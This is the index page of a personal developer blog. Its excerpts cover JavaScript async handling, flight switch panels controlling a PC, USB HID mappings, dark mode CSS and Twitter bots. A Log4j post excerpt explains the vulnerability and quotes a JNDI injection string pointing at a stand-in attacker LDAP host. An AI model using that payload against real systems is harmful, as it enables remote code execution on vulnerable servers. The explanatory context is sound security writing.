Az

Dev

JavaScript Event Loop: Part 2

Mon, Jan 15, 2024 | 700 Words

I gave an intro to the JavaScript event loop and how it can be useful nearly 6 years ago and wanted to bring up a quick optimisation that I’ve run into a few times recently regarding handling a bunch of independent asynchronous calls more efficiently. A common scenario you’ll probably discover in frontend JavaScript or backend Node.js is the need to run a bunch of asynchronous functions. A typical form of this might be getting the results from a few different APIs or downloading a bunch of files from a remote server.

Dashboard Monitor

Wed, Apr 12, 2023 | 500 Words

Last month I posted about being absolutely stoked with my new monitor setup and the remaining monitor that couldn’t be connected to my PC finally has a purpose. For a while now I’ve wanted a cool monitor just displaying a constant feed of information, but without the aesthetics of modern dashboards. To be honest I really wanted something that had that an old-school terminal effect and now it’s finally starting to come together.

Computer Switch Panel: Part Two

Thu, Jan 26, 2023 | 900 Words

About a month ago I got my switch panel controlling my PC. In short, I use a Logitech/Saitek PZ55 Flight Switch Panel connected to a Raspberry Pi that reads USB HID input from the panel and sends PSExec commands to my gaming PC. It’s honestly been a lot of fun to use over the past month and it was so weird going back to the office and using a computer that didn’t have a bunch of physical switches you could toggle to control.

Computer Switch Panel

Sun, Dec 18, 2022 | 600 Words

I purchased a Logitech/Saitek PZ55 Flight Switch Panel recently and set it up so I could control my computer: Your browser does not support the video tag. It can now do the following: Start my gaming PC via Wake-On-Lan. Open Task Manager. Open explorer.exe. Start Firefox, Discord, Steam, Spotify, Blender. Start my favourite game. Start a Chrome session with Special Business™ tabs already open. Switch Controller The switch is connected to a Raspberry Pi 4B which runs a Python script as a SystemD service.

Saitek PZ55 Flight Switch Panel USB HID Mapping

Sat, Dec 17, 2022 | 400 Words

I purchased a new Logitech version of the Saitek Flight Switch Panel so that I can use it as a Streamdeck-like interface for my PC and devices on my home network. Once again, I’ve gotta map the USB HID to the various switches and knobs so you’ll find below the table of values if you ever want to use one in your own projects. Switches Below you’ll find a table for all the bit positions that a switch can use over the three bytes of the panel.

Saitek X52 USB HID Mapping

Sun, Oct 16, 2022 | 500 Words

I found my old Saitek X52 HOTAS (joystick + throttle controller) that I used to use with DCS: A-10C Warthog and it made me realise joysticks are such a beautiful interface but one that doesn’t get much use outside the hobby world. I’ve been working on a project lately to use my ancient controller as an interface device for some software. It’s still very early days and I’m not sure if it’s something I’ll keep plugging at, but it’s been fun to get back into development stuff.

Log4j Learnings

Sat, Dec 25, 2021 | 800 Words

A few weeks ago a new vulnerability was discovered being expoited in the wild. Vulnerability Summary The Apache Log4j 2 library has a Remote Code Execution (RCE) vulnerability based on variable substition. If a log message contains a string with a JNDI string pointing to an LDAP or RMI endpoint such as ${jndi:ldap://evil-ldap.example.com/mwahaha} the Log4j library will immediately try and resolve it by calling out to the endpoint. In the LDAP case it will resolve the LDAP resource and if the LDAP server replies with a HTTP address it will call out to that as well.

Dark Mode CSS

Wed, Dec 15, 2021 | 500 Words

I’ve been using dark mode for a lot of my devices for a bit now, I’m a late convert but after developing repeated headaches using my computer all day at work and home (with breaks to look at my bright phone screen) I made the switch and it helped a lot. I solved the problems later with some other technical measures, but kept the dark mode as a backup and general ease-on-the-eyes.

Earth Palettes

Mon, Sep 13, 2021 | 800 Words

I’d been feeling a bit lost, so decided to throw myself into a small, contained project. It took a while to find the perfect idea, but I decided to create Earth Palettes, taking slices of satellite imagery and then pulling a colour palette from it. For me it was an exercise in trying to explore the intersection between nature, art, and technology. Sourcing Data My first thought was finding an open access API feed and downloading 3- or 4-band true colour georectified images and then snipping out small segments.

Small Twitter Bots

Tue, Jul 13, 2021 | 800 Words

Sometimes when I’ve had a break from personal tech projects for a while I want to get back into the saddle but don’t want to commit to something massive. I want a bite-sized, single evening project with a definite output and often a Twitter bot is the perfect creation to fill that niche. Once you have the basic formula down pat, the process is pretty easy, with most of the hassle being in convincing Twitter to give you developer access if you want to go the manual route.
1 - 2 - 3 - Last